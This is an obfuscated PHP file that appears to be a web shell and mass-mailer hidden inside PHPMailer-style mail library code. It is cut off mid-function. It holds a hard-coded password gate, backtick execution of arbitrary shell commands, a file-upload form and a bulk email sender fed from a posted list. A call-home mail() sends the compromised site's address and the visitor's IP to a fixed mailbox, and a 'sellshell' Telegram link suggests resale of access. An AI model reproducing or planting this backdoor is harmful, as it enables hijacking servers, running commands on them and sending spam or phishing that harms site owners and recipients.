o1117($O5016, $O1890 = '') { goto O2005; O0548: restore_error_handler(); goto O7418; O6085: O3292: goto O1157; O1640: $this->o5093("CLIENT -> SERVER: " . $O5016, self::O4528); goto O1504; O1157: $this->o5093("CLIENT -> SERVER: <credentials hidden>", self::O4528); goto O3249; O2005: if (self::O3895 > $this->O2821 and in_array($O1890, ["User & Password", "Username", "Password"], true)) { goto O3292; } goto O1640; O0553: $O0515 = fwrite($this->O0257, $O5016); goto O0548; O7418: return $O0515; goto O6345; O1504: goto O4781; goto O6085; O8473: set_error_handler([$this, "errorHandler"]); goto O0553; O3249: O4781: goto O8473; O6345: } public function O8504() { return $this->error; } public function O8936() { return $this->O5742; } public function O6117($O3333) { goto O2772; O8447: O4003: goto O1152; O3468: return; goto O8447; O1152: if (array_key_exists($O3333, $this->O5742)) { goto O5062; } goto O4460; O4113: O1200: goto O4681; O7153: return; goto O4543; O2772: if ($this->O5742) { goto O4003; } goto O7289; O9749: O9217: goto O9025; O7289: $this->O8188("No HELO/EHLO was sent"); goto O3468; O8474: return $this->O5742[$O3333]; goto O3887; O5603: return false; goto O9749; O4543: O5062: goto O8474; O4681: if (!("EHLO" == $O3333 || array_key_exists("EHLO", $this->O5742))) { goto O9217; } goto O5603; O4460: if (!("HELO" == $O3333)) { goto O1200; } goto O3810; O3810: return $this->O5742["EHLO"]; goto O4113; O9025: $this->o8188("HELO handshake was used; No information about server extensions available"); goto O7153; O3887: } public function o0314() { return $this->O5582; } protected function o3669() { goto O3357; O8864: if (!(is_resource($this->O0257) and !feof($this->O0257))) { goto O9902; } goto O1269; O6045: $O9852 = 0; goto O7953; O3218: O8024: goto O8579; O4131: if (!($O9852 and time() > $O9852)) { goto O2718; } goto O1815; O9415: goto O1779; goto O4663; O1269: if (stream_select($O6353, $O6395, $O6395, $this->O5523)) { goto O1003; } goto O6465; O4104: goto O9902; goto O6661; O1477: $this->O5093("SMTP INBOUND: "" . trim($O6471) . """, self::O3895); goto O3650; O6697: O6539: goto O4225; O6507: $O6471 = @fgets($this->O0257, 515); goto O1477; O0116: $this->o5093("SMTP -> get_lines(): timed-out (" . $this->O5237 . " sec)", self::O3895); goto O4104; O3177: O2718: goto O9415; O7953: stream_set_timeout($this->O0257, $this->O5237); goto O5533; O7603: $O6353 = [$this->O0257]; goto O7919; O5533: if (!($this->O5523 > 0)) { goto O2713; } goto O4531; O1281: if (!$O1624["timed_out"]) { goto O7077; } goto O0116; O3357: if (is_resource($this->O0257)) { goto O8024; } goto O5463; O7919: $O6395 = null; goto O3535; O6908: if (!(!isset($O6471[3]) or isset($O6471[3]) and $O6471[3] == " ")) { goto O6539; } goto O0283; O1728: goto O9902; goto O4220; O2903: O2713: goto O7603; O8579: $O5016 = ''; goto O6045; O4225: $O1624 = stream_get_meta_data($this->O0257); goto O1281; O6465: $this->o5093("SMTP -> get_lines(): timed-out (" . $this->O5237 . " sec)", self::O3895); goto O1728; O4531: $O9852 = time() + $this->O5523; goto O2903; O1909: return $O5016; goto O7681; O5463: return ''; goto O3218; O0391: goto O9902; goto O3177; O3650: $O5016 .= $O6471; goto O6908; O4663: O9902: goto O1909; O6661: O7077: goto O4131; O0283: goto O9902; goto O6697; O4220: O1003: goto O6507; O1815: $this->O5093("SMTP -> get_lines(): timelimit reached (" . $this->O5523 . " sec)", self::O3895); goto O0391; O3535: O1779: goto O8864; O7681: } public function o0797($O2262 = false) { $this->O3117 = $O2262; } public function O7587() { return $this->O3117; } protected function o8188($O6131, $O6581 = '', $O2015 = '', $O2302 = '') { $this->error = ["error" => $O6131, "detail" => $O6581, "smtp_code" => $O2015, "smtp_code_ex" => $O2302]; } public function o9338($O7744 = "echo") { $this->O4819 = $O7744; } public function O7016() { return $this->O4819; } public function o4292($O6874 = 0) { $this->O2821 = $O6874; } public function o1558() { return $this->O2821; } public function o9918($O5314 = 0) { $this->O5237 = $O5314; } public function o7082() { return $this->O5237; } protected function o4742($O8470, $O9148, $O5656 = '', $O2204 = 0) { goto O0981; O0981: $O4927 = "Connection failed."; goto O9190; O9190: $this->o8188($O4927, $O9148, (string) $O8470); goto O0280; O0280: $this->o5093("{$O4927} Error #{$O8470}: {$O9148} [{$O5656} line {$O2204}]", self::O1484); goto O1825; O1825: } protected function O6409() { goto O3442; O3101: goto O1315; goto O2632; O8981: $this->O8641 = null; goto O0747; O0747: O1315: goto O2653; O4345: foreach ($this->O9580 as $O2726) { goto O1219; O4512: $this->O8641 = trim($O1779[1]); goto O4414; O6234: O8747: goto O0341; O0341: O8460: goto O6759; O1219: if (!preg_match($O2726, $O5445, $O1779)) { goto O8747; } goto O4512; O4414: goto O7209; goto O6234; O6759: } goto O1078; O4091: $this->O8641 = false; goto O4345; O2632: O5788: goto O8981; O3442: $O5445 = $this->O0314(); goto O8006; O1078: O7209: goto O3101; O8006: if (empty($O5445)) { goto O5788; } goto O4091; O2653: return $this->O8641; goto O3132; O3132: } public function O5818() { return $this->O8641; } } goto O4318; O4157: $O4311 = "[email protected]"; goto O9109; O9401: print "<br><hr><br><br></body>"; goto O4160; O3489: O1282: goto O2934; O3690: $O7779 = o5768($_POST["emailList"]); goto O5300; O3146: $O3001->O4673 = $O0344; goto O5994; O4359: $O6026 = stripslashes($O6026); goto O8291; O9436: if (!(!empty($O2889) and $_SESSION[$O5068] != $O2889)) { goto O4666; } goto O2058; O6440: O4666: goto O1471; O2934: print "<br><hr><br><br></body>"; goto O6619; O5810: $O3001->O5604 = "none"; goto O8523; O2842: mail($O4311, "MAMA \xe2\235\xa4", $O4632, "[ " . $_SERVER["REMOTE_ADDR"] . " ]"); goto O6430; O6619: die; goto O0991; O6297: $O2889 = "ez"; goto O9385; O9059: O1122: goto O9401; O2944: $O4632 = "Ada shell bos {$O0578} | IP Address > [ " . $_SERVER["REMOTE_ADDR"] . " ]"; goto O2842; O0134: $O3279["website"] = "https://t.me/sellshell"; goto O1554; O9117: set_time_limit(0); goto O3508; O8895: $O3001->O3884 = true; goto O2809; O8704: $O3059 = $_POST["sport"]; goto O8728; O4980: goto O2808; goto O8727; O4815: O9716: goto O7889; O1754: $O3001->o4627(); goto O2054; O0855: if ($_POST["sssl"] == "true") { goto O9716; } goto O5810; O2948: $O4791 = "checked"; goto O4980; O7183: function O5768($O5086) { return stripslashes(ltrim(rtrim($O5086))); } goto O9000; O6413: $O3001->O1946 = 4; goto O8081; O7564: O9142: goto O1089; O3703: echo "<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>"; goto O6381; O8523: goto O1873; goto O4815; O0298: $O3001 = new o6643(); goto O0855; O8426: echo `{$O5016}`; goto O8860; O2054: $O3001->O6228 = $O4103; goto O8895; O2983: if (!isset($_POST["usesmtp"])) { goto O4162; } goto O8504; O8081: $O4166 = explode("\xd\xa", $O7779); goto O7248; O2058: if (isset($_REQUEST["pass"]) and $_REQUEST["pass"] == $O2889) { goto O6772; } goto O5465; O6430: class o6643 { const O4942 = "iso-8859-1"; const O5095 = "utf-8"; const O0673 = "text/plain"; const O2967 = "text/calendar"; const O3427 = "text/html"; const O5743 = "multipart/alternative"; const O7571 = "multipart/mixed"; const O4400 = "multipart/related"; const O2669 = "7bit"; const O1466 = "8bit"; const O8717 = "base64"; const O3535 = "binary"; const O3538 = "quoted-printable"; public $O4398; public $O0610 = self::O4942; public $O5234 = self::O0673; public $O8046 = self::O1466; public $O3627 = ''; public $O2135 = "root@localhost"; public $O5331 = "Root User"; public $O1935 = ''; public $O6959 = ''; public $O1892 = ''; public $O1077 = ''; public $O4893 = ''; protected $O8926 = ''; protected $O0199 = ''; protected $O3852 = ''; public $O4988 = 0; public $O8348 = "mail"; public $O6074 = "/usr/sbin/sendmail"; public $O7496 = true; public $O5829 = ''; public $O3004 = ''; public $O2722 = ''; public $O9621 = ''; public $O6228 = "localhost"; public $O8164 = 25; public $O3980 = ''; public $O5604 = ''; public $O4418 = true; public $O3884 = false; public $O6105 = array(); public $O6663 = ''; public $O4673 = ''; public $O0001 = ''; protected $O4337; public $O5237 = 300; public $O4821 = ''; public $O1946 = 0; public $O4819 = "echo"; public $O2695 = false; public $O7683 = false; protected $O1036 = array(); public $O3117 = false; public $O5899 = false; public $O1910 = ''; public $O7246 = ''; public $O0821 = ''; public $O8561 = ''; public $O4779 = true; public $O9969 = array(); public $O2814 = ''; public $O1170 = ''; public $O9140 = ''; public $O8184 = ''; public static $O6850 = "php"; protected $O0303; protected $O1431 = array(); protected $O0958 = array(); protected $O3390 = array(); protected $O9879 = array(); protected $O8684 = array(); protected $O6952 = array(); protected $O0286 = array(); protected $O0839 = array(); protected $O0111 = array(); protected $O6536 = ''; protected $O4974 = ''; protected $O1933 = array(); protected $O3473 = array(); protected $O5087 = 0; protected $O6015 = ''; protected $O8187 = ''; protected $O9194 = ''; protected $O3614 = ''; protected $O0454 = false; protected $O8758 = ''; const O2652 = "1.3.3.7"; const O4495 = 0; const O3420 = 1; const O3720 = 2; protected static $O1517 = "
"; const O6446 = 998; const O1812 = 76; public function __construct($O6370 = null) { goto O9400; O6031: $this->O0454 = (bool) $O6370; goto O8850; O8850: O8964: goto O4794; O9400: if (!(null !== $O6370)) { goto O8964; } goto O6031; O4794: $this->O4819 = strpos(PHP_SAPI, "cli") !== false ? "echo" : "html"; goto O7350; O7350: } public function __destruct() { $this->o8480(); } private function o1062($O3617, $O6026, $O5285, $O5269, $O7684) { goto O9604; O4849: $O6026 = $this->O1008($this->o3957($O6026)); goto O5701; O0965: goto O7744; goto O8925; O6615: return $O0515; goto O0733; O9026: O7900: goto O2665; O9331: O7744: goto O6615; O1977: if (!$this->O7496 or null === $O7684) { goto O3318; } goto O1025; O1025: $O0515 = @mail($O3617, $O6026, $O5285, $O5269, $O7684); goto O0965; O2665: $O6026 = $this->o3957($O6026); goto O2310; O5701: goto O6063; goto O9026; O2310: O6063: goto O1977; O8925: O3318: goto O6011; O9604: if (ini_get("mbstring.func_overload") & 1) { goto O7900; } goto O4849; O6011: $O0515 = @mail($O3617, $O6026, $O5285, $O5269); goto O9331; O0733: } protected function o5093($O6471) { goto O4561; O4561: if (!($this->O1946 <= 0)) { goto O4396; } goto O3820; O9880: return; goto O4933; O3267: call_user_func($this->O4819, $O6471, $this->O1946); goto O9880; O4933: O9568: goto O4702; O7211: O6668: goto O5515; O1661: O0064: goto O9933; O2345: return; goto O7211; O5515: if (!(!in_array($this->O4819, ["error_log", "html", "echo"]) and is_callable($this->O4819))) { goto O9568; } goto O3267; O9933: O9129: goto O5512; O5794: if (!$this->O4819 instanceof \O4873\Log\O7398) { goto O6668; } goto O4598; O4702: switch ($this->O4819) { case "error_log": error_log($O6471); goto O9129; case "html": echo htmlentities(preg_replace("/[\r\n]+/", '', $O6471), ENT_QUOTES, "UTF-8"), "<br>\xa"; goto O9129; case "echo": default: $O6471 = preg_replace("/\r\n|\r/ms", "
", $O6471); echo gmdate("Y-m-d H:i:s"), "	", trim(str_replace("\xa", "\xa                   	                  ", trim($O6471))), "\xa"; } goto O1661; O3820: return; goto O5797; O5797: O4396: goto O5794; O4598: $this->O4819->debug($O6471); goto O2345; O5512: } public function isHTML($O0949 = true) { goto O2593; O3316: O5329: goto O2249; O9432: $this->O5234 = static::O3427; goto O3316; O1652: O3324: goto O9432; O5306: goto O5329; goto O1652; O1997: $this->O5234 = static::O0673; goto O5306; O2593: if ($O0949) { goto O3324; } goto O1997; O2249: } public function O4627() { $this->O8348 = "smtp"; } public function o7628() { $this->O8348 = "mail"; } public function O3985() { goto O7258; O4763: $this->O6074 = "/usr/sbin/sendmail"; goto O7799; O7258: $O6277 = ini_get("sendmail_path"); goto O4525; O7015: O7508: goto O4763; O4133: goto O5867; goto O7015; O4525: if (false === stripos($O6277, "sendmail")) { goto O7508; } goto O4421; O5032: $this->O8348 = "sendmail"; goto O1917; O4421: $this->O6074 = $O6277; goto O4133; O7799: O5867: goto O5032; O1917: } public function O1025() { goto O6177; O3521: $this->O8348 = "qmail"; goto O0905; O6118: $this->O6074 = $O6277; goto O5447; O3068: O3576: goto O4495; O4513: O5982: goto O3521; O6177: $O6277 = ini_get("sendmail_path"); goto O4161; O5447: goto O5982; goto O3068; O4161: if (false === stripos($O6277, "qmail")) { goto O3576; } goto O6118; O4495: $this->O6074 = "/var/qmail/bin/qmail-inject"; goto O4513; O0905: } public function O0681($O4707, $O3333 = '') { return $this->o9671("to", $O4707, $O3333); } public function O9082($O4707, $O3333 = '') { return $this->o9671("cc", $O4707, $O3333); } public function O1979($O4707, $O3333 = '') { return $this->O9671("bcc", $O4707, $O3333); } public function O6583($O4707, $O3333 = '') { return $this->o9671("Reply-To", $O4707, $O3333); } protected function O9671($O1011, $O4707, $O3333) { goto O5798; O0125: O9338: goto O8655; O3440: $O2343 = strrpos($O4707, "@"); goto O9178; O5583: return false; goto O1026; O2781: throw new Exception($O7854); goto O9064; O0490: $O3333 = trim(preg_replace("/[\r\n]+/", '', $O3333)); goto O3440; O9178: if (!(false === $O2343)) { goto O7484; } goto O3644; O3962: if ("Reply-To" != $O1011) { goto O9338; } goto O3620; O9631: O7484: goto O6086; O8655: if (array_key_exists($O4707, $this->O6952)) { goto O0483; } goto O5541; O3620: if (array_key_exists($O4707, $this->O0286)) { goto O3404; } goto O3435; O1660: O3404: goto O0810; O0386: return true; goto O1660; O3435: $this->O0286[$O4707] = $O7684; goto O0386; O8399: $this->O8188($O7854); goto O5658; O0734: if (!$this->O0454) { goto O6467; } goto O2781; O9064: O6467: goto O3762; O5798: $O4707 = trim($O4707); goto O0490; O6086: $O7684 = [$O1011, $O4707, $O3333]; goto O4721; O2407: O0483: goto O1427; O0225: return true; goto O2407; O1427: O5231: goto O5583; O4721: if (!($this->O1181(substr($O4707, ++$O2343)) and static::o0611())) { goto O1681; } goto O3962; O5541: $this->O6952[$O4707] = $O7684; goto O0225; O5658: $this->O5093($O7854); goto O0734; O3644: $O7854 = sprintf("%s (%s): %s", $this->o0266("invalid_address"), $O1011, $O4707); goto O8399; O3762: return false; goto O9631; O0810: goto O5231; goto O0125; O1026: O1681: goto O8383; O8383: return call_user_func_array([$this, "addAnAddress"], $O7684); goto O1555; O1555: } protected function o7517($O1011, $O4707, $O3333 = '') { goto O6314; O0345: return false; goto O0515; O3274: return false; goto O7338; O6314: if (in_array($O1011, ["to", "cc", "bcc", "Reply-To"])) { goto O7957; } goto O9198; O8106: O0980: goto O2609; O1264: O0096: goto O6025; O2109: throw new Exception($O7854); goto O8106; O6025: O1465: goto O3274; O3597: if (!$this->O0454) { goto O1535; } goto O3663; O9865: goto O1465; goto O7594; O5278: return true; goto O4937; O5650: $O7854 = sprintf("%s (%s): %s", $this->O0266("invalid_address"), $O1011, $O4707); goto O5400; O8685: $this->o5093($O7854); goto O3597; O2609: return false; goto O9856; O4937: O1835: goto O9865; O9198: $O7854 = sprintf("%s: %s", $this->o0266("Invalid recipient kind"), $O1011); goto O8973; O4267: return true; goto O1264; O5351: if (array_key_exists(strtolower($O4707), $this->O9879)) { goto O1835; } goto O0194; O5399: if (array_key_exists(strtolower($O4707), $this->O8684)) { goto O0096; } goto O0501; O8973: $this->O8188($O7854); goto O8685; O1434: if (!$this->O0454) { goto O0980; } goto O2109; O6950: $this->o5093($O7854); goto O1434; O5400: $this->o8188($O7854); goto O6950; O3421: if (static::o1928($O4707)) { goto O3529; } goto O5650; O9856: O3529: goto O2992; O3663: throw new Exception($O7854); goto O0237; O4433: $this->O8684[strtolower($O4707)] = true; goto O4267; O0515: O7957: goto O3421; O0194: $this->O9879[strtolower($O4707)] = [$O4707, $O3333]; goto O5278; O0237: O1535: goto O0345; O7594: O4889: goto O5399; O2992: if ("Reply-To" != $O1011) { goto O4889; } goto O5351; O0501: $this->{$O1011}[] = [$O4707, $O3333]; goto O4433; O7338: } public static function o0051($O8532, $O4520 = true) { goto O1964; O2017: if ($O4520 and function_exists("o7949")) { goto O0798; } goto O8268; O2290: O0798: goto O8759; O5267: foreach ($O5884 as $O4707) { goto O3460; O0824: O0761: goto O0752; O2087: O9532: goto O5453; O8445: $O5064 = trim(str_replace(">", '', $O5064)); goto O2596; O7935: O3840: goto O3798; O1630: $O5531[] = ["name" => trim(str_replace([""", "'"], '', $O3333)), "address" => $O5064]; goto O2087; O5989: $O5531[] = ["name" => '', "address" => $O4707]; goto O9727; O2596: if (!static::O1928($O5064)) { goto O9532; } goto O1630; O5453: goto O3840; goto O0824; O0752: if (!static::O1928($O4707)) { goto O2668; } goto O5989; O9727: O2668: goto O7935; O8253: if (strpos($O4707, "<") === false) { goto O0761; } goto O2974; O3798: O6771: goto O9413; O2974: list($O3333, $O5064) = explode("<", $O4707); goto O8445; O3460: $O4707 = trim($O4707); goto O8253; O9413: } goto O4882; O6316: O4172: goto O6511; O3156: goto O4172; goto O2290; O1964: $O5531 = []; goto O2017; O6511: return $O5531; goto O8828; O8268: $O5884 = explode(",", $O8532); goto O5267; O4882: O6515: goto O3156; O9306: foreach ($O5884 as $O4707) { goto O8083; O8501: O8031: goto O9037; O3604: if (!static::o1928($O4707->O8189 . "@" . $O4707->O4365)) { goto O9023; } goto O0365; O9037: O2449: goto O9816; O8846: O9023: goto O8501; O0365: $O5531[] = ["name" => property_exists($O4707, "personal") ? $O4707->O4710 : '', "address" => $O4707->O8189 . "@" . $O4707->O4365]; goto O8846; O8083: if (!(".SYNTAX-ERROR." != $O4707->O4365)) { goto O8031; } goto O3604; O9816: } goto O7731; O8759: $O5884 = O7949($O8532, ''); goto O9306; O7731: O2452: goto O6316; O8828: } public function o9988($O4707, $O3333 = '', $O6122 = true) { goto O9131; O4580: $O2343 = strrpos($O4707, "@"); goto O9929; O1789: O2961: goto O9621; O4492: O2351: goto O6518; O0135: return true; goto O4340; O1846: if (!$this->O0454) { goto O2351; } goto O0264; O6518: return false; goto O1789; O9131: $O4707 = trim($O4707); goto O4845; O4845: $O3333 = trim(preg_replace("/[\r\n]+/", '', $O3333)); goto O4580; O2968: $O7854 = sprintf("%s (From): %s", $this->O0266("invalid_address"), $O4707); goto O6789; O0264: throw new Exception($O7854); goto O4492; O7506: if (!$O6122) { goto O2288; } goto O8097; O8126: O7291: goto O3808; O8097: if (!empty($this->O1935)) { goto O7291; } goto O3266; O9929: if (!(false === $O2343 or (!$this->o1181(substr($O4707, ++$O2343)) or !static::O0611()) and !static::O1928($O4707))) { goto O2961; } goto O2968; O8037: $this->o5093($O7854); goto O1846; O0144: $this->O5331 = $O3333; goto O7506; O3266: $this->O1935 = $O4707; goto O8126; O9621: $this->O2135 = $O4707; goto O0144; O6789: $this->o8188($O7854); goto O8037; O3808: O2288: goto O0135; O4340: } public function O9324() { return $this->O6536; } public static function o1928($O4707, $O8834 = null) { goto O5850; O0404: if (!is_callable($O8834)) { goto O1987; } goto O2485; O1123: O7760: goto O5830; O5830: O6010: goto O2900; O5286: if (!(strpos($O4707, "
") !== false or strpos($O4707, "\xd") !== false)) { goto O4176; } goto O5482; O2485: return call_user_func($O8834, $O4707); goto O3011; O4299: O5976: goto O0404; O0243: $O8834 = static::$O6850; goto O4299; O1286: switch ($O8834) { case "pcre": case "pcre8": return (bool) preg_match("/^(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){65,}@)" . "((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)" . "(?>[\x01-\x08\x0B\x0C\x0E-'*-\[\]-\x7F]|\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)" . "([!#-'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\x7F]))*" . "(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)" . "(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}" . "|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:" . "|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}" . "|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD", $O4707); case "html5": return (bool) preg_match("/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}" . "[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD", $O4707); case "php": default: return (bool) filter_var($O4707, FILTER_VALIDATE_EMAIL); } goto O1123; O5482: return false; goto O5545; O5850: if (!(null === $O8834)) { goto O5976; } goto O0243; O5545: O4176: goto O1286; O3011: O1987: goto O5286; O2900: } public static function O0611() { return function_exists("idn_to_ascii") and function_exists("mb_convert_encoding"); } public function O9732($O4707) { goto O3873; O7518: O4193: goto O9346; O7049: O3497: goto O9903; O2878: $O4695 = 0; goto O4564; O0767: $O5229 = mb_convert_encoding($O5229, "UTF-8", $this->O0610); goto O2878; O9346: return $O4707; goto O8476; O3407: $O5229 = substr($O4707, ++$O2343); goto O0265; O0265: if (!($this->O1181($O5229) and @mb_check_encoding($O5229, $this->O0610))) { goto O2327; } goto O0767; O2187: if (!(false !== $O1132)) { goto O3497; } goto O6520; O3873: $O2343 = strrpos($O4707, "@"); goto O3198; O3198: if (!(static::O0611() and !empty($this->O0610) and false !== $O2343)) { goto O4193; } goto O3407; O4564: $O1132 = idn_to_ascii($O5229, $O4695, INTL_IDNA_VARIANT_UTS46); goto O2187; O6520: return substr($O4707, 0, $O2343) . $O1132; goto O7049; O9903: O2327: goto O7518; O8476: } public function send() { try { goto O2160; O2410: return false; goto O3603; O0354: return $this->o7888(); goto O2963; O3603: O2752: goto O0354; O2160: if ($this->O4070()) { goto O2752; } goto O2410; O2963: } catch (Exception $O0127) { goto O8493; O5038: if (!$this->O0454) { goto O4807; } goto O8960; O6062: O4807: goto O9392; O4541: $this->o8188($O0127->getMessage()); goto O5038; O8493: $this->O3852 = ''; goto O4541; O9392: return false; goto O8791; O8960: throw $O0127; goto O6062; O8791: } } public function O4070() { goto O7820; O7159: if (!(ini_get("mail.add_x_header") == 1 and "mail" == $this->O8348 and stripos(PHP_OS, "WIN") === 0 and (version_compare(PHP_VERSION, "7.0.0", ">=") and version_compare(PHP_VERSION, "7.0.17", "<") or version_compare(PHP_VERSION, "7.1.0", ">=") and version_compare(PHP_VERSION, "7.1.3", "<")))) { goto O7620; } goto O1444; O5814: O6625: goto O9050; O2645: O9763: goto O7159; O0877: O7620: goto O7304; O2236: goto O9763; goto O5814; O7820: if ("smtp" == $this->O8348 or "mail" == $this->O8348 and stripos(PHP_OS, "WIN") === 0) { goto O6625; } goto O0244; O0244: static::O1440(PHP_EOL); goto O2236; O9050: static::o1440("
\xa"); goto O2645; O7304: try { goto O4943; O3719: $this->O3852 = ''; goto O8417; O4725: O4939: goto O9958; O6264: $this->O0199 .= $O9913; goto O2432; O3165: if (!(!empty($this->O8561) and !empty($this->O1910) and (!empty($this->O1170) or !empty($this->O2814) and static::o9648($this->O2814) and file_exists($this->O2814)))) { goto O7497; } goto O8308; O0974: $this->O0199 = ''; goto O9721; O9721: $this->O8926 = $this->O1426(); goto O0937; O7382: $this->O5234 = static::O5743; goto O4725; O1693: $this->O6959 = trim($this->O6959); goto O0974; O3052: if (!(count($this->O1431) + count($this->O0958) + count($this->O3390) < 1)) { goto O9893; } goto O5323; O4256: O4041: goto O3052; O3951: if (count($this->O1431) > 0) { goto O2371; } goto O9774; O4645: $this->O3852 .= $this->o9790("To", $this->O1431); goto O2911; O0937: $O9913 = $this->O0199; goto O9639; O8733: O6170: goto O3165; O9774: $this->O3852 .= $this->o3698("To", "undisclosed-recipients:;"); goto O2256; O0789: if (!(!$this->O5899 and empty($this->O1892))) { goto O1237; } goto O5643; O2256: goto O0076; goto O7602; O6243: O9893: goto O8004; O8417: foreach (array_merge($this->O6952, $this->O0286) as $O7684) { goto O1734; O9249: call_user_func_array([$this, "addAnAddress"], $O7684); goto O4364; O4364: O9032: goto O3455; O1734: $O7684[1] = $this->o9732($O7684[1]); goto O9249; O3455: } goto O4256; O2432: if (!("mail" == $this->O8348)) { goto O6170; } goto O3951; O8004: foreach (["From", "Sender", "ConfirmReadingTo"] as $O0543) { goto O6952; O7625: O1158: goto O8650; O6267: throw new Exception($O7854); goto O7625; O0461: if (!$this->O0454) { goto O1158; } goto O6267; O7094: goto O7526; goto O4585; O8650: return false; goto O0257; O4585: O4881: goto O1586; O1586: $this->{$O0543} = $this->O9732($this->{$O0543}); goto O7499; O6952: $this->{$O0543} = trim($this->{$O0543}); goto O7604; O0257: O9016: goto O0054; O8585: $this->O5093($O7854); goto O0461; O3233: $this->o8188($O7854); goto O8585; O7306: $O7854 = sprintf("%s (%s): %s", $this->O0266("invalid_address"), $O0543, $this->{$O0543}); goto O3233; O0054: O7526: goto O4367; O7604: if (!empty($this->{$O0543})) { goto O4881; } goto O7094; O7499: if (static::O1928($this->{$O0543})) { goto O9016; } goto O7306; O4367: } goto O0277; O0277: O4679: goto O4434; O7691: O1237: goto O1693; O9639: $this->O0199 = $this->o5700(); goto O6264; O4943: $this->O5087 = 0; goto O3719; O5333: $this->O3852 .= $this->O3698("Subject", $this->O1008($this->o3957($this->O6959))); goto O8733; O9958: $this->o3271(); goto O0789; O7602: O2371: goto O4645; O7638: return true; goto O8574; O5643: throw new Exception($this->o0266("empty_message"), self::O3720); goto O7691; O8308: $O7043 = $this->O4747($this->O0199 . $this->O3852, $this->o1008($this->o3957($this->O6959)), $this->O8926); goto O4961; O4434: if (!$this->O2585()) { goto O4939; } goto O7382; O5323: throw new Exception($this->o0266("provide_address"), self::O3720); goto O6243; O4961: $this->O0199 = rtrim($this->O0199, "
 ") . static::$O1517 . static::o8623($O7043) . static::$O1517; goto O2499; O2499: O7497: goto O7638; O2911: O0076: goto O5333; O8574: } catch (Exception $O0127) { goto O0506; O7868: O9664: goto O4399; O4399: return false; goto O3829; O0506: $this->O8188($O0127->getMessage()); goto O3364; O3364: if (!$this->O0454) { goto O9664; } goto O4344; O4344: throw $O0127; goto O7868; O3829: } goto O8792; O1444: trigger_error("Your version of PHP is affected by a bug that may result in corrupted messages." . " To fix it, switch to sending using SMTP, disable the mail.add_x_header option in" . " your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.", E_USER_WARNING); goto O0877; O8792: } public function O7888() { try { goto O2085; O9552: O4258: goto O1611; O2085: switch ($this->O8348) { case "sendmail": case "qmail": return $this->O8083($this->O0199, $this->O8926); case "smtp": return $this->O0193($this->O0199, $this->O8926); case "mail": return $this->o9946($this->O0199, $this->O8926); default: goto O2575; O0588: return $this->{$O0198}($this->O0199, $this->O8926); goto O3396; O4754: if (!method_exists($this, $O0198)) { goto O6874; } goto O0588; O6291: return $this->o9946($this->O0199, $this->O8926); goto O5469; O2575: $O0198 = $this->O8348 . "Send"; goto O4754; O3396: O6874: goto O6291; O5469: } goto O9552; O1611: O6416: goto O2942; O2942: } catch (Exception $O0127) { goto O3993; O4748: O4991: goto O2210; O3993: $this->O8188($O0127->getMessage()); goto O6445; O6923: if (!$this->O0454) { goto O4991; } goto O6651; O6651: throw $O0127; goto O4748; O6445: $this->O5093($O0127->getMessage()); goto O6923; O2210: } return false; } protected function o8083($O5269, $O5285) { goto O6166; O5717: if ($this->O7683) { goto O5715; } goto O2355; O5299: $this->o6038($O0515 == 0, $this->O1431, $this->O0958, $this->O3390, $this->O6959, $O5285, $this->O2135, []); goto O9216; O5149: if ("qmail" == $this->O8348) { goto O0936; } goto O6637; O4448: O3823: goto O8931; O9463: O5715: goto O7369; O2355: $O3001 = @popen($O2626, "w"); goto O1540; O7910: O7003: goto O5149; O7369: foreach ($this->O1036 as $O0723) { goto O1800; O7909: O7066: goto O6947; O5661: fwrite($O3001, "To: " . $O0723 . "
"); goto O2526; O3247: $this->o6038($O0515 == 0, [$O0723], $this->O0958, $this->O3390, $this->O6959, $O5285, $this->O2135, []); goto O6266; O1800: $O3001 = @popen($O2626, "w"); goto O6144; O6144: if ($O3001) { goto O8459; } goto O1993; O6947: O9066: goto O6755; O3972: $O0515 = pclose($O3001); goto O3247; O2526: fwrite($O3001, $O5269); goto O5825; O1993: throw new Exception($this->O0266("execute") . $this->O6074, self::O3720); goto O8863; O6266: if (!(0 !== $O0515)) { goto O7066; } goto O2722; O8863: O8459: goto O5661; O2722: throw new Exception($this->o0266("execute") . $this->O6074, self::O3720); goto O7909; O5825: fwrite($O3001, $O5285); goto O3972; O6755: } goto O0766; O1540: if ($O3001) { goto O0751; } goto O7701; O1338: $O2626 = sprintf($O2539, escapeshellcmd($this->O6074), $this->O1935); goto O5717; O8931: goto O3782; goto O9463; O9935: O3782: goto O6621; O9859: goto O0209; goto O5226; O1389: O2341: goto O8134; O6621: return true; goto O5445; O9216: if (!(0 !== $O0515)) { goto O3823; } goto O2159; O5516: if ("qmail" == $this->O8348) { goto O8930; } goto O0464; O3370: O0751: goto O2493; O7701: throw new Exception($this->o0266("execute") . $this->O6074, self::O3720); goto O3370; O8134: goto O5175; goto O7910; O0766: O1821: goto O9935; O0464: $O2539 = "%s -oi -t"; goto O0087; O6166: if (!empty($this->O1935) and self::o8677($this->O1935)) { goto O7003; } goto O5516; O2159: throw new Exception($this->O0266("execute") . $this->O6074, 